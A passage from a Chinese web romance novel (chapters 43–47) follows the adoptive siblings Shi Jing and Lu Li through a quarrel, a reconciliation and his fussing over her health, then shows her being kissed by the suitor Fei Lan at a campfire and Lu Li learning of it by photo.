陆母轻轻拍了她一下,“小憬?”
她恍惚了一瞬后才抬头,下意识扬起熟悉的笑脸,看向陆母,“妈妈您叫我么?”
“是不是身体不舒服?脸色看着这么差。”陆母担心地放下碗筷,伸手摸她的额头,“也没发烧。”
时憬微笑着回,“我没事,就是在想一个设计方案。”
陆母不做怀疑,又问她要不要回乡下过年,时憬自然应下,说她也想老太太了,说完后她低头继续吃饭,陆母的担心还在继续:“前几天听你天天念叨你哥回来的日子,怎么真看见人回来了也不开心。你偷偷和妈妈说,是不是你哥又欺负你了?”
陆礼闻言,也自然地看向对面的妹妹,不用掩饰自己的目光。
他知道这几天分公司陆续都要到总部汇报。
时憬他们正好排在今天。
他以为妹妹会来,还将礼物随身带着,等到下班也没看见人来。
时憬握着筷子的手顿了下。
她挤出笑容,“哥哥工作出差那么忙,我俩都快好几天没说话了。是我今天有点忙,状态不太好,让妈妈担心了。”时憬抬头看向陆礼,这也是今晚,她第一次直视兄长,“哥,出差辛苦了。”
她弯眸笑着。
在过分明亮的灯光下,像是个美丽的人偶。
陆礼用公筷夹了糖醋排骨给她,温声叮嘱,“先吃饭,晚些时候我把礼物拿给你。”
妹妹笑得似乎又灿烂了些。
“谢谢哥哥。”
吃完饭,时憬上楼休息。
陆母跟着叹了口气,向陆礼埋怨起来,“当初怎么给她找了个这么忙的工作,每天都加班,晚上回来也经常忙到很晚才睡,这么折腾下去人怎么吃得消?她胃本来就不好,你看看晚上才吃多少就说饱了。”
陆礼微不可察地皱了下眉,虽有猜疑但没露出来,怕母亲担心,“他们公司是做活动策划
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的,年底年初就是最忙的时候。”
陆母瞪他:“再忙能有身体重要?等过了年就给她换个工作,继续这么忙下去,人都要忙病了。”
陆父却不赞同:“孩子有上进心是好事,小憬也有这方面能力,前两天我参加的一个展会册子就是她负责设计的,做得还蛮有意思的。”
陆母叹了口气,“你们父子俩我是说不通了,算了,我上去看看她。”
“我去吧,顺便把东西一起拿给她。”陆礼站起身,“时憬看到礼物说不定就开心了。”
“也好,别忘了再问问她工作的事啊。”
陆礼应下。
上楼后,他给助理发了消息,把时憬这段时间负责的所有方案调出来发给他,明天再安排分公司重新来向他汇报工作。
时憬不是多能吃苦的性子,一有点委屈就要回来冲他诉苦,娇气的不行,他把时憬安排进分公司,只是希望她所学能有所用,并不希望她太过辛苦。
现在她忙成这样是什么原因,他必须要弄清楚才能放心。
沉默寡言的兄长站在门口,抬手敲门。
门很快开了。
时憬并不诧异来人是陆礼。
她望着来人,卸妆后的脸色愈发显得苍白,勉强挤出笑脸,声音沙哑,全无平时的柔软明媚,“哥,你怎么来了。”
陆礼递给她一个白色方盒。
“不是说有礼物要给你。”
时憬接过,垂眸低声说了声谢。
“不打开看看?”
他视线落在时憬身上。
时憬打开看了眼,里面是一串正圆珍珠项链,泛着粉色珠光,美得让人心动,却未在她眼中留下欣喜的痕迹。
她合上盒子,淡声说:“谢谢哥,我有些累了,想先休息了,晚安。”说着伸手就要关上门。
今晚的时憬反常得让陆礼无法坐视不理。
在门将关上的那一瞬,兄长伸手强行挡住。
“出什么事了?”
“没事,就是累了。”
她的语气冷淡,甚至不看他一眼。
这副态度,惹恼了眼前的兄长。
男人语气骤然冷下,目光严厉:“时憬,不要敷衍我。”
第43章 出去!
敷衍?
沉默的时憬猛地抬头,不再躲避兄长,讥笑出声:“敷衍?”
一旦有了撕裂口,情绪源源不断涌出来。
短短一瞬,时憬的眼睛染红。
她拽住陆礼的衣襟把人拉了进来,昂起头,红着眼质问:“究竟是谁敷衍谁?你口口声声说不会不会要、不会推开我的,结果呢?你不愿意管我就不要假惺惺地再来关心我,什么礼物、什么照顾、什么兄妹……我全部都不要!从今以后你也不用再敷衍我、再来骗我——”
她浑身止不住地发抖。
眼底蔓延开大片大片的绝望。
这段时间压抑的思念、欲望、贪恋,都在此时化为冰冷的黑暗,将她死死困住。
她用力将盒子拍在他胸口,随即拉开门,指着门外,漆黑的眼瞳看向陆礼:“出去!”
愤怒之下的妹妹,口不择言地伤人。
哪怕陆礼告诉自己,不要和妹妹计较。
但看着她抗拒的表情,以及最后她赶人的动作,陆礼难掩怒容,抬脚朝门口走去,反手用力撞上门。
“咚——”
时憬下意识闭上眼。
陆礼走了…
屋子里顿时安静下来。
可她却并未觉得情绪平稳下来,独孤与绝望仍在蚕食着她,她甚至不知道自己为什么会说那些话,情绪像是不受她控制,明明她是想问清楚的……
陆礼走了。
被她赶走了……
从今以后陆礼真的不要她了。
她抬手捂住唇,想挡住涌出来的呜咽声。
手腕被温热的掌心握住。
时憬的心跳紊乱。
她睁开眼,掀起眼睑看向眼前的人。
是陆礼——
他还在。
没有抛下她……
愧疚、后怕、懊悔、绝望无数情绪混杂,她慌乱的双手紧紧抓住他的衣服,“对不起……对不起……我说错话了……你不要生气……不要扔下我好不好?”
前一秒还含怒让他出去的妹妹,下一秒看见他还在,就哭成这样,脸色煞白眼睛通红,手指拍得都在颤抖。
幸好他未走。
幸好他没有扔下这样的妹妹离开。
陆礼黑眸沉沉,低下头,手掌落在她的面颊上。
动作细致却又强硬地擦去眼泪。
他曾为了与生病的妹妹相处,也去接受了秦天川的咨询,知道在情绪不稳定时,不能刺激或激怒他们,而是需要平静的陪伴。
稳定的情绪,温柔的肢体接触。
能支撑着他们逐渐缓过来。
“看你一会儿生气一会儿又把自己气哭了,你不告诉我,我怎么知道出了什么事情,嗯?”他虚揽着她的肩膀,让她在沙发上先坐下,又倒了杯温水让她喝了两口,才在对面坐下,“冷静下来了?”
时憬低着头,轻轻点了下。
手指用力扣着掌心。
力道重得像是不知道疼。
陆礼见了,皱了下眉,想提醒她,话到嘴边又咽下,握住她手,微用力掰开,平静地看她,“不疼么?”
时憬想说不疼,可她看见陆礼用指腹轻轻揉着掌心的印记,她的心酸软的塌陷。
“可以告诉我这几天到底发生了什么吗?”
陆礼语气温和地问她。
时憬的指尖缩了下,她想说自己想他了,为了不让他不再觉得自己是累赘,为了不让她有空去想他,她接了好多好多工作,让自己忙到无暇去想他。但这些话她都不能说,就像她不能再让陆礼知道,为了让他担心着急自己,她做过多少事、撒过多少谎一样。
这样的时憬,她不想要再让陆礼看见了。
“我知道你今天出差回来,去总部找你,”时憬垂眸,嗓音细颤,只将今天的事情说出来,“但秘书办的人说,我不在名单上,不让我进。”
“为什么不打我电话?”
她仍低着头。
“怕你在忙。”
陆礼无声挑了下眉。
连他门都敢摔的妹妹,会因为被人拦了就气哭?
……
“陆礼,不要不要我…”
“我会乖乖听话……”
……
陆礼突然想起上次时憬喝醉时带着哭腔说的话。
想起这些日子她格外的礼貌、安静。
他以为是妹妹还在生气,所以才故意不联系他,没想到是因为怕被他抛下,才不敢向着他继续撒娇任性。
在她被拒之门外的那一刻,时憬是真以为他彻底不管她了?
那时候的妹妹,是否要比刚才还要痛苦绝望?
那时候——
她又是如何平静下来。
陆礼的眸色暗了瞬,连呼吸声也重了一分。
“时憬。”
他沉声叫她的名字。
低头的女孩嗯了声,抬起头来,眼神柔软得可怜。
陆礼险些动摇,想要放弃这一次的计划,但理智仍占上风,语气平静地告诉她:“名单上有你的名字。”
时憬睁大眼睛,语气有些激动:“不可能!我今天都没有进去!”
“你看见了名单?还是黄林告诉你不在名单上,所以不能进去?”
黄林是总经办负责人。
也是陆礼的左右手之一,由他一手提拔上来。
在陆礼分外镇定的询问下,时憬这会儿终于冷静下来。
“我今天上去时,总经办里只有一个我不认识的人守着,她一看见我就说我不在名单上,我起先不信,后来还报了我的名字,她还是说没有,后来……”时憬咬了下唇,眼神幽怨地看他,眼中的水色
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涌动,随时都能落下眼泪,“楼心月来了,她都能进去。”
陆礼说了句稍等,拨通黄林的电话,直接问时憬的名字是否在白名单上。
【总裁,时小姐的名字确定在名单上的。】
“名单上也有对应的照片?发来给我看。”
【好的,我现在就发送给——】
电话那头忽然沉默了一瞬。
陆礼:“有什么问题?”
【总裁,抱歉,名单上时小姐的照片是九年前您提供的学生证件照……】
在黄林反省道歉前,陆礼打断他的话,让他把名单发来后挂了电话。
黄林效率极快。
陆礼点开名单,放大时憬的照片,将手机放到她面前,抬了下手,让她接下。
时憬双手接过。
屏幕赫然是她刚上初中时拍的证件照。
梳着单马尾,绷着嘴唇,表情看着不大开心的模样,脸颊还有未褪的婴儿肥,晒得又黑。
和她现在的样子判若两人。
手中的手机嗡嗡震动两下。
顶端跳出来黄林发来的信息。
【总经办里的人都认识时小姐,备用的照片就一直没有更新,今天值班的是新来的小吕,还未见过时小姐。对不起这是我工作失误……】
后面的内容省略看不见。
单是这条内容就让时憬的脸颊烫了下。
她没想到……
原来这件事就是一个乌龙。
她、她没有确认清楚,就冲着陆礼发了一场火,还说了那么多不好听的话,她努力了这么久是不是都白费了?
陆礼伸长胳膊,从她手里拿回手机,看着妹妹低着头,脸颊发红,连耳根都一起变红了,不紧不慢地出声问她:“不生气了?”
妹妹低头不语。
只扣着自己手指。
陆礼语气未变,继续问:“礼物还要吗?”
沉默的妹妹才轻轻点头,小声说了个‘要’,抬头看了眼,看见白色盒子掉在门口的位置,她红着脸想要起身去拿回来。
兄长的速度比她更快一步。
时憬站着,眼瞳水润着,眼角还红着,却和刚才是截然不同的可怜兮兮,看着陆礼朝自己的走来,两手掌心朝上,看着莫名的乖巧。
让人忍不住想要欺负一下。
陆礼放下时,故意停了停,语气淡淡道:“今天一下午没见你上来找我,晚上吃饭也不肯好好和我说几句话。现在我特地上来送礼物,被你劈头盖脸说了一顿,还赶我出去。时憬,几天不见脾气倒是涨了不少,挺好。”
他说完后,把盒子不轻不重地放她掌心。
“既然不想见,那我就走了。”
他当真转身就走。
才走了一步,后背扑上来一人,紧紧抱着他。
第44章 要在外面过夜?
拥住腰腹的胳膊用力到陆礼察觉到些痛感。
“哥,”时憬的脸贴上他的宽阔后背,小声地诉说思念,“我想你了。”
陆礼冷漠的目光里有了些许温柔。
他握住她的手腕,把她的胳膊拉开,转过身,手掌轻轻揉了下她的发顶,“我回来了。”
时憬仍不敢与他对视。
她害怕自己会忍不住想要亲吻他,想要得更多,更怕自己会被他推开,她今天已经很累很累,经不起再多强烈的情绪起伏,只能克制着欲望,再次拥抱兄长。
拥抱时,陆礼只属于她。
陆礼垂眸看她。
他本该在她平静后,拒绝这一个过长的拥抱,但他却在抬起手时,忽又心软。
他知道妹妹被养得有多娇气,今天受了委屈,再推开她,怕又要哭一场。
陆礼的手落下,落在她后背上。
将妹妹纳入怀中。
安静的房中,灯光洒落。
年轻男女无声拥抱。
抱着抱着,陆礼忽然皱了下眉,毫不犹豫地就把人扯了出来,沉着脸捏了下她的胳膊、肩膀,目光犀利的上下打量她:“这几天没好好吃饭?怎么瘦了这么多,去上称给我看看。”
时憬还没来得及从温情中抽离。
就听见陆礼让她去上称。
时憬:???
不敢置信地抬头看眼前的兄长,“让一个刚吃饱的女孩子称体重?陆礼你是恶魔吗!”
“你吃了几口?”
时憬还要顶嘴。
被陆礼拎着衣领就往外走。
但凡事关妹妹身体健康的,陆礼严格的令人发指。
时憬则是心虚,这段时间她忙着工作,胃口不佳,的确瘦了不少,强挺着不肯上称。
体重称放在二楼的书房里。
兄妹二人一路拌嘴过去,吵吵嚷嚷的声音传到楼下去。
陆父在楼下陪着陆母看电影。
听见后,笑着向妻子道:“你听听。”
陆母暂停电影,听了会儿兄妹俩的拌嘴,笑着跟着松口气,叹道:“总算好了,看来还是得哥哥出马。”
小书房里。
陆礼看着体重秤上的数字,冷脸皱眉。
时憬立刻下来:“才瘦了五斤,很快就能涨上去的。”
陆礼的黑眸透过镜片,“是半个月就瘦了五斤。”
“瞎说,是一个、两个月好吗?”
陆礼冷冷一笑,看妹妹毫不眨眼撒谎,然后也毫不留情地戳穿她:“你半个月体检过,我看过你的体检报告。”
时憬:把这件事忘记了……
接着她就开始撒娇,保证自己一定好好吃饭好好睡觉,尽快胖起来,求兄长别再这样盯着她了。
“从明天起每天拍体重数发给我。”
是拍,而不是报。
兄长对妹妹的信任度也是低到令人发指。
时憬炸毛:“不要!”
被陆礼冷冷看了眼后,她又跟着撒娇,拉着他的胳膊晃啊晃的:“哥~最近我都乖乖住在家里,有妈妈和刘姨加餐,我很快就能胖起来的,真的!”
陆礼抽回胳膊,“就你今晚这样一顿只吃五六口,一天吃五顿也长不上去。”他语气严厉起来,不给妹妹蒙混过关的机会。
胃是情绪器官。
十五岁她刚来到家里时,骤逢母亲车祸过世、亲戚妄图吃绝户险些逼死她,短短几天时间就瘦了下来,自那之后胃就一直不好,入冬后冷的、油腻的、辣的、刺激的吃不得。
小姑娘年纪轻自控力又弱,管不住自己的嘴。
这些年家里精心养着,最近两年看着才健康了些。
结果这几天眼看着又瘦了下去。
时憬哼哼唧唧的不肯妥协。
陆礼也不再好声好气的和她商量,直接通知道:“那我每天下班后盯着你晚饭后上称。”时憬刚来的陆家时,陆礼简直为她的健康操碎了心,这几年已经管的得心应手。
“你**霸道!蛮不讲理!!”
小姑娘气得跳脚。
“有力气就多叫几句,饿了下面有妈替你煲的汤。”
时憬:………………
陆礼看着气呼呼的女孩,拍了下头,“好好吃饭,胖点更可爱。”语气像是哄小朋友的。
时憬似笑非笑地看他:“原来你喜欢丰满**这款的啊?”
陆礼:?
在古板严肃的兄长训斥下来前,时憬把腿就跑,还探头往下嚷嚷:“妈妈!哥哥也饿了,要下来喝您煲的汤!!”
陆礼抬手扶额。
唇角却轻轻翘了下。
他已许久没看见这样朝气活泼、古灵精怪的妹妹了。
于是,陆母满怀母爱看着儿子女儿各喝了一大碗汤,脸上的笑容灿烂到让时憬连料也不好意思剩下。
结果就是喝多了。
晚上揉着肚子在房间里溜食。
她看见梳妆台上放着的白色盒子,取出里面的珍珠项链戴上,看着镜子中的自己,笑容不再勉强。
只要她坚持下去,陆礼终有一日会心软的。
*
次日,时憬还在画图,最近她手上堆了不少工作,忙得连去食堂吃饭都
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觉得浪费时间。
打算等会儿吃两片面包对付一下。
结果在中午时,前台送了份高档的餐盒过来。
时憬抬头,拨开带着的耳机,稀奇道:“老板请客?”
前台指餐盒上的logo小声蛐蛐:“老板一单赚千万都不可能舍得请我们吃这么好。”接着才笑道:“送餐来的小哥说是陆氏集团的黄助定的,让你吃完后放着就好,他们明天来送餐再把今天的餐盒拿回去。时憬,是不是陆少定的呀?你哥可真好,知道你最近忙都没空去食堂吃饭,特地定这么丰盛的午餐来。”
前台是个刚毕业没多久的小姑娘。
热情又外向,叽叽喳喳的说着话。
陆氏黄助?
是黄林?
肯定是陆礼安排的。
时憬笑着谢过,没回答她的问题。
在公司里,她几乎不会提及任何与陆家人有关的话题。
等人走后,时憬打开三层餐盒,外带一个炖盅。
丰盛的五菜一汤,七星酒店出品,色香味俱全。
时憬本没什么胃口,这会儿看得也咽了下口水。
立刻拍照发给陆礼。
刚准备放下手机,陆礼的回复已经来了。
陆礼:【吃完再拍给我看】
时憬:【残羹冷饭拍给陆少看多不好】
陆礼:【那就光盘】
时憬:【光盘有奖励吗?】
时憬:【星星眼.jpg】
陆礼:【有】
时憬差点笑出声,咬着唇迅速敲字:【有什么奖励?奖励丰厚我肯定——】她的一串话还没打完,陆礼的回复又跳出来。
陆礼:【不准倒了,不准分给同事,回家我会上称检查,有没有认真吃饭一称就能看出来】
时憬:………………
一个与时憬关系还不错的女同事路过,探头问了句:“笑得这么甜,啊是在和男朋友聊天呀?”
男朋友?
她也想是啊。
时憬笑容不变,回道:“看到个搞笑的段子。”
时憬重新戴上耳机,打开个搞笑综艺节目下饭,吃到一半时实在吃不下,拍照发给陆礼交差。
这次陆礼迟迟没回。
直到快下班前,她手机震动了下。
时憬迅速捞起,还未看见屏幕,唇角就已经翘起来。
来电显示【费兰】。
时憬的唇角落下了些,接通电话,听费兰邀请她这周末出去露营,仍是她熟悉的那一帮人朋友,周六早上出发,周日中午回来。
时憬问,“要在外面过夜吗?”
第45章 藏不住心里的失落
费兰听起来兴致极高,“Goforit!我们已经准备好了足够的帐篷、取暖设备、露营装备、食物等等。山里空气好,周末两天还都是好天气,晚上说不定能看见满天星星e!这可是极为难得体验,还能围着篝火吃烧烤,时憬,你一点都不心动?”
时憬并未立刻回答。
和一个认识一个多月的异性出门游玩,与过夜是截然不同的性质,尤其当这位异性还是她的相亲对象。
费兰察觉到时憬的犹豫。
电话里再度传来他爽朗的声音,“抱歉,我又忘记你们的社交礼貌了,请你不要生气,在周五晚上前给我答复。希望每次和你出行都是愉快的,你不需要勉强自己,随着你的心意。”
时憬道了声谢。
费兰:“能邀请美丽的女士是我的荣幸。”
生活在国外的费兰,总能随口说出这些夸张的话语,却仍旧能让人感受到他的真诚。
时憬挂了电话,点开信息。
陆礼仍未回她,聊天最终停留在她发出去照片上。
吃剩一半的餐盒,哪怕她整理过了,看上去也乱糟糟的,餐盒旁还放着‘多喝热水’的保温杯,盖子打开,看着更乱了。
她盯着看了会儿,直接删除。
眼不见为净。
今晚是耿叔来接她。
等她到家不久后,陆礼也回来了。
陆家餐桌上,陆母一向喜欢和时憬聊天说话,今天问起这周末又要和费兰他们去哪里玩。
“他们周末要去露营。”
陆父问:“去哪里露营?”
陆父虽然很努力在做一个开明的父亲,但毕竟年龄摆在那儿,心里认定现在外面天寒地冻的,几个小年轻去露营,怎么都觉得不安全。
尤其他们家还是女儿。
更不放心了。
时憬报了个露营基地的名字。
坐在对面的陆礼开口:“那里是沙市专业的露营基地,虽然在山里,但他们配套设施完善,不少露营爱好者都会在冬季过来,听说位置还挺抢手的。”
有了陆礼的解释后,陆父才点头,不再反对。
陆礼用公筷给时憬加菜,“再安全也是在山里,保暖措施做好,使用炉子务必注意安全,晚上早点回来。”他自然而然的叮嘱令人操心的妹妹,“还有别喝酒,记住了吗?”
时憬吃饭的动作顿了下,敏锐的被兄长捕捉到。
陆礼看她,语气沉下:“有意见?”
时憬下意识摇头,她愣神是因为陆礼默认露营只在白天进行,晚上她是会回家的。
等她摇完头后,想要解释,却发现错过了时机。现在再说她需要在外过夜不回来,在陆礼听来会不会也像是在试探?
从前的时憬绝不会放弃这样试探的好机会。
现在她却不敢再做。
甚至连自己还在犹豫要不要去露营这件事,也不敢说出口。
“说话。”
在陆礼管教妹妹时,连陆母都不敢出声。
时憬回神,扯起敷衍的笑脸:“哪里敢有意见。”
陆礼冷笑了声,继续吃饭。
管教结束,时憬立刻看向陆母,“妈妈,你看看我哥又凶我……”
陆母也开始帮女儿,“怎么和妹妹说话呢?”
陆礼正好用完晚饭,放下空碗,语气分外平静:“没办法,不这么说她不肯长记性,即便我这么说,她也未必能全部做到。”说着,看向时憬,“是吧,妹妹。”
时憬心虚。
皮笑肉不笑了下。
陆礼说了句我先上楼,起身离开,走了两步又停下,看向还在一根根吃土豆丝的妹妹,“吃完别忘记过称。”
时憬:不是??
她不敢置信的向陆母告状,“我是什么货物么?还让我过称!他怎么不说过磅呢!”
时憬生气之下一不小心连自己也骂了。
她在气头上还没察觉,陆母忍了忍,实在没忍住,笑了一声出来。
时憬这才反应过来,哎呀了声,“妈妈,哥哥欺负我就算了,您也笑我!”
陆母的一腔母爱都被她这娇嗔的一声哎呀给勾了出来,她自己性格沉稳,丈夫稳重,生了个儿子更是泰山崩于前而面色不改的性子,时过中年,得了个会撒娇又可爱的女儿,怎能不喜欢?
陆母搂着她,“是妈妈错,等会儿妈妈给乖乖煲汤。”
时憬笑得甜甜的,“谢谢妈妈~”
陆母:“咱们喝完了再上称。”
时憬一脸震惊:“妈妈!!”
可爱的表情再加上鲜活的语气,引得陆母笑出声了,连陆父也在旁有了几分笑意。
用过晚饭,时憬喝了一盅补汤,又问陆母要一碗。
陆母纳罕的看她:“喜欢妈妈明天再让刘姨准备,今晚咱就不喝了,晚上吃多了也伤胃的。”
时憬笑的乖巧懂事:“我知道。我是看哥哥出差辛苦,想送一碗上去。”
陆母这才放心。
不是时憬自己喝就行。
“你哥这周末还要出差,的确辛苦了。”
“他周末不在家吗?”时憬意外的看向陆母。
“去宣城有事,估计得周日回来了。”
母女俩又说了会儿话,时憬在楼下称了体重拍给陆礼,端着汤盅上楼。
去卧室扑了个空,又去二楼的书房找他,一进门,急急忙忙就把汤盅放下去,烫的四根手指捏着耳垂降温。
陆礼皱了下眉,看她发红的指尖,“怎么不带手套?伸手。”
时憬听话的给他看。
陆礼垂下视线,抓住她的手腕,低头去看指尖。
许是陆礼关心她的模样太过亲近,让时憬忘了要刻意听话懂事,语气不自觉的撒娇,“刚上手没觉得烫,谁让你不在房间里,害我绕了一她的圈来找你。”等到说完后,时憬才反应过来,抿着唇,垂眸看他的指腹按在手腕上,触感与体温清晰的透过肌肤传来,心跳快了起来。
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陆礼看只是指尖红了些,并未烫伤,才松开她手。
“下次记得戴手套。”他瞥了眼炖盅,“无事献殷勤,是有什么想买的?”
陆礼以为她有购物需求。
自从限制她生活费后,时憬还未找他买过东西。
临近过年,年轻女孩难免要买些贵点的衣服首饰鞋子,在这方面只要时憬开口,陆礼从不会拒绝。
时憬小声嘀咕‘我想要的你又不给肯…’
她的声音太小,陆礼只看见粉色的唇张合了几下。
“在说什么?”
“就不能是我觉得你刚出差回来,周末又要出差太辛苦,送汤来慰问一下么?不要用小人之心度君子之腹好不好。”她气鼓鼓的说完,抬手指炖盅,“快点喝完,我还要送下去给刘姨洗。”
说完,她就在书桌斜对角的沙发坐下。
拿出手机,边玩边等。
一副他不喝完就不走的架势。
她视线盯着屏幕,注意力全在陆礼身上。
想要多看看他,想要多相处一会儿,来遏制自己疯狂的思念。
陆礼看着离他远远的时憬,不像从前那样黏着人,自顾自低头玩着手机。
他垂眸,掀开盖子,搅动了下汤勺,想起今天收到妹妹发来的最后一张照片。
照片一角是那个粉红色保温杯。
不是什么品牌联名款。
她刚收到时却笑得那么开心,照片上杯盖打开,看着是她近期爱用的杯子。
他平静的叫了声她名字,尽量随和着语气问:“最近和费兰相处的还好么?”
时憬仍低着头,手指停在屏幕上,佯装轻松的回:“挺好的啊。”实则无数思绪在脑中碰撞,想着陆礼问起露营的事情,她该如何回应,要不要说要在外过夜?要不要告诉陆礼她打算拒绝。
她等啊。
悬着心等。
漫长的安静后,却只传来陆礼平静的一声‘嗯’。
时憬抬头,快要藏不住心底涌出的失落,眼神直勾勾的望着他。
哪怕不问露营的事情,他最近几乎都在出差,他便没有其他想问她的?
他们之间难道只剩下费兰这一件事了吗?
陆礼装作没看懂她的眼神,“怎么了?”
时憬蹭的站起身,转身就朝外走去:“我困了,先回去睡了,等会儿喝完自己送下去。”
陆礼喝完妹妹送上来的汤。
眼神始终平静,仿佛并未将时憬的那一点小脾气放在心上。
他与时憬相差六岁,比起他,像费兰那样年轻的男生更适合妹妹,也更能哄妹妹开心。
时憬回房后,一头扑入工作里。
忙到半夜,她拿起手机给费兰回了信息,愿意参加周末的露营活动。
她不知答应费兰是否是赌气,还是因陆礼周末不在家,她害怕逐渐入眠困难的夜晚。
但只知道,陆礼仍在无声的试图推开自己。
她已不知道该怎么办。
第46章 吻上似星光一般的女孩
转眼到了周末。
费兰一大早开车来陆园接她去,在沙市定居后,费兰就申请了驾照,因居住期限还未满九十天,现在只能申请临时驾照。
这是费兰第一次进陆园。
他母亲邓艳华已经提前叮嘱过,让他上门问候一下陆家父母,费兰自然照办。他英俊出挑,自身条件本就好,再加上自带外国人的热情,陆母对他是说不出的满意,倒是陆父对他态度一般。
费兰看向时憬,问:“还有哥哥呢?他今天不在家是吗?”
时憬微笑:“睡懒觉,不用管他。”
“这也是享受周末的方式之一。”他笑着回答,伸手接过时憬的单肩包,向陆父陆母告别。
两人说笑着离开,一起上车。
从背影看,俊男美女,欢声笑语,分外相衬。
陆母看两个孩子投契,心满意足地向丈夫说道:“小憬和费兰的进展看着还不错,你看他们走的时候多开心啊。”
陆父沉默道:“我不太好。”
陆母:“怎么了?”
陆父长长叹息:“我还是没能接受小憬要被黄毛小子给骗走。”
陆母愣了下,随即轻拍了他一下,嗔道:“两个孩子这才哪儿到哪儿啊,现在就正常当朋友处着。小憬能从上次的事情中走出来也多亏了费兰,和费兰我都不强求,毕竟年龄还小,就是真成了,我都想多留几年再答应他们呢。”陆母嘴上这么说着,但似乎都能预想到两个孩子结婚的那一天,笑得嘴角都合不拢了,对上丈夫探究的目光,她才轻咳了声,“现在我就担心你儿子,老大一个人了还单着——”
正说着,她看见丈夫视线向上面抬了下,立刻转身,看见站在楼梯那儿的儿子,捂着胸口道:“你什么时候下来的,怎么连个声都没有?”
陆礼语气寡淡,“在您说担心我的时候,是您和爸说得太认真,没听见脚步声。”
听这语气,肯定下来不止一会儿了。
陆母也不好戳穿儿子的话,笑了声,强行转移话题:“今天周末怎么不多睡会儿?”
陆礼继续下楼,言语淡淡:“我没有睡懒觉的习惯。”
陆母:…………
感情在费兰上门的时候他就已经醒了,居然还故意不下来!
陆母直摇头,长这么大,她没见过儿子还有这种脾气。小憬和费兰还没什么呢,这两父子就一个赛一个的不待见人费兰了。
万一等到小憬将来真嫁人了,是不是爷俩都得抱头痛哭?
陆父心思没陆母那么敏锐,问儿子:“上午就准备动身去宣城了?”
陆礼点头,“工厂的奠基仪式定在十点。”
他所说的工厂就是陆氏与楼家合作的新型材料工厂,本来奠基仪式早在去年年底就要办了,但工厂的那块地楼家拿得不算太正当,起了些**。
一个小小的奠基仪式还不用陆氏总裁亲自出面,但楼家摆不平纠结,最后还是陆礼动了下宣城那边的关系。这次去奠基仪式上露个脸是次要,重点则是在晚上的局,宣城政界也有人在,难免要应付一二。
陆父提醒儿子,宣城那边酒桌上风气不太好,让他注意些,陆母闻言,立刻去准备醒酒的。
父子二人看了眼,没将话说穿。
外面那些见不得人的东西,他们并不希望家里人知道,脏了她们的眼睛污了她们的耳朵。
*
时憬和费兰抵达露营地时,其他人已经开始忙着搭建堪比一室一厅的充气帐篷。
他们一共租了三块露营地,离得有些距离,中心点是一块可以用来点篝火、烧烤的空地。
男生们搭帐篷。
女生们在空地做饭。
这一群人身上都没多少富二代的骄奢淫逸,都接地气的,生活自理能力强,时憬同他们也玩得来。
忙到下午,三组帐篷里的摆设布置、取暖照明设备全部搞定。
男生们又来帮忙捡柴火、点篝火。
天色暗下来时,篝火燃烧,照亮了每一张笑脸,
年轻男女一起说笑聊天吃烧烤喝酒,时憬身在其中,也被他们的快乐感染。
也不知道是谁先起了哄,让费兰献唱一首,他爽快应下,接过朋友递
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过来的尤克里里,抱着开始弹奏。
温柔浪漫的琴声从他手中流淌出来的瞬间,嘈杂的声音突然安静了下来。
他坐在跳动的篝火旁。
第一句歌词伴随着琴声响起。
“Wearebothyoungwhenifirstsawyou…”
立刻有人吹了声口哨。
时憬不怎么听英文歌,只当是朋友们在捧场他的好声音。
直到第四五句歌词时。
直到时憬发现费兰那双望着人总是深情的蓝眼睛从未离开她时。
她才反应过来这是首情歌。
一曲结束。
朋友们海豹式鼓掌。
费兰把琴还给朋友,无视他们再来一首的起哄,坐回时憬身边,问她感想如何。
时憬毫不吝啬竖起两个大拇指。
在夸人时,她的眼睛也被跃动的火焰衬得亮晶晶的。
“费兰,你唱得好好听!简直可以原地出道了!”
这段时间费兰的汉语突飞猛进,一些网络梗也能听懂,对时憬的夸奖受宠若惊,又挑眉问:“尤克里里弹得不好?”
一脸求夸奖的表情。
时憬笑着继续夸他:“唱得好,尤克里弹得更好!”
金发大男孩露出灿烂的笑容,蓝瞳直勾勾看着时憬,似乎有什么情绪要从那双深情漂亮的眼睛里涌出。
时憬下意识想要偏开视线。
费兰开口:“时憬,你不问我为什么不出道吗?”
时憬移回视线。
“为什么?”
费兰忽然抬起手,胳膊贴近她耳侧,两人的距离拉近,时憬能闻到他身上雾凇的味道,看着他弯了下眼睛,望着她轻声说:“当然是为了遇见你。”话落,他变出一支点燃的仙女棒,举到时憬的面前。
星火跳动。
清晰印在她眼中。
炙热的深情将她包围,她忘了闪躲。
蓝瞳微暗了下,吻上眼前的似星光一般的女孩。
*
是夜,宣城。
“嗡——”
陆礼放在口袋中的手机震动,收到了一张照片。
第47章 你有喜欢的人了,是么
照片是熟人发来的。
陆礼点开看,是一张类似偷拍的视角,在篝火旁,年轻男女在接吻,夜色黯淡,哪怕有火焰照亮,但人脸依旧有些模糊。
陆礼本未在意。
只当是朋友发错了人。
打算退出时,手指顿了下。
他迅速放大照片,在篝火旁与男生亲吻的女孩,是时憬。
顶端跳出熟人迟来的信息。
【我堂弟和邓家那一圈的人出去玩,给我说邓家那个刚从国外回来的小子已经勾搭上一个小姑娘了,我看着咋那么像咱妹妹?】
【是不是小憬妹妹啊?】
【还是年轻人会玩,跑去深山老林露营,篝火一点小琴一弹,这不把咱妹妹给迷住了】
【大半夜的还睡在外面,都是年轻男女,谁知道会发生什么】
陆礼的目光在最后一句话顿了下。
陆礼:【露营还没结束?】
对方回得很快。
【你看拍到的露营设备,这种充气帐篷打起来再加布置里面的东西,没个半天搞不定的】
【折腾这半天,住一晚都算是短的了,怎么可能结束?】
信息在屏幕上显示一秒,立刻显示被撤回。
似乎是对方反应过来不对劲,重发了信息。
【不知道欸,我表弟没回我消息了】
陆礼看着照片中的妹妹,想起昨晚叮嘱她不要喝酒,注意安全,早些回来,她是如何听话应下,一句未提要在外面住宿。
…真是谎话连篇的女孩。
一边说想他,转头就和费兰——
陆礼扼杀思绪。
是他让时憬去接触费兰的。
两人这样的进展,他应当高兴才对。
陆礼收起手机。
宣城的酒桌风气不好,陆礼虽年纪轻,但这些年领着陆氏集团的成绩有目共睹,足够有资本坐主位,想在他面前刷个脸的人自然多。
先前陆礼冷着张脸,众人都不敢随意上前。
而出去一趟回来后自己喝了两杯,就有**着胆子去敬酒,谁知一改冷傲,来者不拒。楼家一看陆礼这边松动了,立马让待机的年轻姑娘各陪一人,死沉沉的酒局顿时莺歌燕舞热闹起来。
陆礼瞥了眼,眼神冷冽,吓得女人不敢随意靠近。
楼心月出声让女人出去。
